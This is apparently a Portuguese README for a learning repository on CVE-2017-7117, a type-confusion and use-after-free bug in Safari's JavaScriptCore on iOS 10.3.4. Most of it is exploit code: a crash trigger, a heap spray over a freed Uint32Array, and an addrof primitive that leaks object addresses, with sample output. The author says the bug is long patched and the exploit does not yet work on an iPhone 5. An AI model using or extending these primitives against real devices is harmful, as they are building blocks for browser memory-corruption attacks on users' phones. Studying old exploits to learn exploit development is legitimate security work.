
Exploit educacional para CVE-2017-7117, uma vulnerabilidade de confusão de tipos e uso após liberação (use-after-free) no JavaScriptCore do iOS 10.3.4, demonstrando técnicas de memory spraying e vazamento de endereços.
Uma confusão de tipo e UAF encontrado no iOS 10.3.4 e anteriores, Safari anterior ao 11.0.
CVE-2017-7117: mitre.org
Descoberto por @lokihardt, fonte: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
Executar o código acima fará com que o JSC falhe.
Criamos um grande array arr, que o compilador JIT se confundirá e acreditará que é uma string.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
Quando a referência a i é perdida, mantemos acesso ao array original arr e podemos ler a memória subjacente.
Ao pulverizar um valor conhecido, podemos encontrar isso e percorrer para localizar o ponteiro para qualquer objeto.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
Os valores são acessados na memória através de um Uint32Array, bits inferiores primeiro, bits superiores depois.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
Você pode verificar se o endereço é válido usando describe()
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
Atualmente testado em:
Não funciona (ainda) no iPhone 5, iOS 10.3.4. Vamos descobrir por que ...
Este repositório é fornecido como um recurso educacional para acompanhar meu aprendizado em desenvolvimento de exploits. Este CVE foi corrigido há mais de 7 anos. NÃO use isso para fins nefastos, obviamente.